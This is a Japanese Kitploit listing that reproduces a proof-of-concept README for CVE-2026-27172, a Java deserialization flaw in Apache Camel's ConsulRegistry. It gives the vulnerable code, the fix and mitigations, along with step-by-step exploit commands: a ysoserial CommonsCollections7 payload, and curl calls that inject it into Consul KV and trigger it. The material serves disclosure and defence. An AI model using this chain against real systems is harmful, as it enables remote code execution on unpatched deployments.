Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-27172 — CVE-2026-27172 の再現コード: Apache Camel camel-consul ConsulRegistry Java デシリアライゼーション (RCE) | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-27172
脆弱性分析エクスプロイトペネトレーションテスト学習と教育ペイロード開発バイナリエクスプロイト
GitHuboscerd/cve-2026-27172

CVE-2026-27172

CVE-2026-27172 の再現コード: Apache Camel camel-consul ConsulRegistry Java デシリアライゼーション (RCE)

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-consul ConsulRegistry 逆シリアル化脆弱性再現ツール (CVE-2026-27172)

このプロジェクトは、Apache Camel の camel-consul コンポーネント (ConsulRegistry) における Java 逆シリアル化脆弱性 (CVE-2026-27172) を実証します。これは CVE-2024-22369、CVE-2024-23114、CVE-2026-25747 と同じ種類の問題であり、それらの CVE の最初の修正時に見落とされました。

アドバイザリ: https://camel.apache.org/security/CVE-2026-27172.html

脆弱性の概要

プロパティ値
コンポーネントcamel-consul
影響を受けるクラスorg.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize)
脆弱なメソッドlookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType()
CWECWE-502: 信頼できないデータの逆シリアル化
影響リモートコード実行 (RCE)
影響を受けるバージョン3.0.0 から 4.14.6 未満、および 4.15.0 から 4.18.1 未満
修正済みバージョン4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23029

技術的詳細

ConsulRegistry は、Consul のキー/バリューストアを Camel レジストリとして使用します。Bean を名前で検索すると、保存された値が Base64 デコードされ、生の ObjectInputStream で逆シリアル化されますが、影響を受けるバージョンでは ObjectInputFilter がありません:

root@kitploit:~
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // no filter (affected)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // NO FILTERING!
    }
}

Camel が後で検索するキーの下で Consul KV ストアに保存されたオブジェクトはすべて逆シリアル化されます。その KV パスに書き込み可能な攻撃者は、レジストリ検索時に実行される gadget-chain ペイロードを仕込むことができます。

前提条件

  • Java 17+
  • Maven 3.8+
  • 稼働中の Consul エージェント (KV ストア) — 例: Docker 経由
  • ysoserial (ペイロード生成用)

再現手順

ステップ 1: Consul の起動

root@kitploit:~
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

ステップ 2: アプリケーションのビルドと起動

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

ステップ 3: レジストリキーの初期化

root@kitploit:~
curl http://localhost:8080/exploit/init

ステップ 4: 悪意のあるペイロードの生成

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ConsulRegistry は Base64 エンコードされたシリアル化オブジェクトを保存するため、ペイロードは Base64 として配信されます。

ステップ 5: Consul KV へのペイロード注入

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

ステップ 6: 逆シリアル化のトリガー (RCE!)

root@kitploit:~
curl http://localhost:8080/exploit/trigger

lookupByName() は KV 値を読み取り、Base64 デコードして逆シリアル化し、gadget chain を実行します。

ステップ 7: 悪用の確認

root@kitploit:~
ls -la /tmp/pwned

ファイル /tmp/pwned が存在する場合、悪用は成功しています。

攻撃ベクトル

この脆弱性は、レジストリが Bean を解決するたびにトリガーされます:

  1. Bean 参照 — 名前による .to("bean:...")、bean(...)、.process("...") はすべて lookupByName() を呼び出します。
  2. 起動時の解決 — ルート構築中に解決される Bean。
  3. タイプ検索 — findByType() / lookupByNameAndType() は KV エントリを反復処理し、それらを逆シリアル化します。

悪用条件

  1. レジストリを支える Consul KV ストアへの書き込みアクセス:
    • 共有または設定ミスのある Consul クラスタ
    • 侵害された/スコープが広すぎる Consul ACL トークン
    • KV 書き込みプリミティブを提供する別の脆弱性
  2. クラスパス上のガジェットライブラリ:
    • commons-collections:3.2.1 (CommonsCollections1-7 gadgets)
    • その他多数 (ysoserial 参照)

関連 CVE との比較

推奨される修正

修正 (CAMEL-23029) では、ConsulRegistryUtils.deserialize に設定可能な ObjectInputFilter (デフォルト java.**;org.apache.camel.**;!*) が追加され、信頼できるクラスを許可リストに登録できる deserializationFilter オプションが公開されています:

root@kitploit:~
static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

緩和策

修正済みバージョンにアップグレードするまでの間:

  1. Consul KV への書き込みアクセスを Camel アプリケーション自身の ID に制限 (最小権限の ACL トークン)。
  2. ガジェットライブラリの削除: commons-collections 3.x などの脆弱なライブラリをアップグレードまたは削除。
  3. ネットワークセグメンテーション: Consul クラスタを信頼できるネットワークに隔離。

ファイル

root@kitploit:~
CVE-2026-27172/
├── pom.xml                          # Maven 設定 (影響を受ける camel-consul バージョン)
├── README.md                        # このファイル
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot エントリポイント
    │   ├── ConsulRegistryRoute.java  # Camel ルート (無効; 実際の使用例を示す)
    │   └── ExploitController.java    # PoC 用 REST エンドポイント
    └── resources/
        └── application.properties

免責事項

この再現ツールは、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテストのみを目的として提供されています。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード
観点Cassandra (CVE-2024-23114)LevelDB (CVE-2026-25747)Consul (CVE-2026-27172)
バックエンドストアCassandra テーブルLevelDB ファイルConsul KV ストア
ObjectInputFilter (修正前)なしなしなし
修正ObjectInputFilter 許可リストObjectInputFilter 許可リストObjectInputFilter 許可リスト
JIRACAMEL-20306CAMEL-22821CAMEL-23029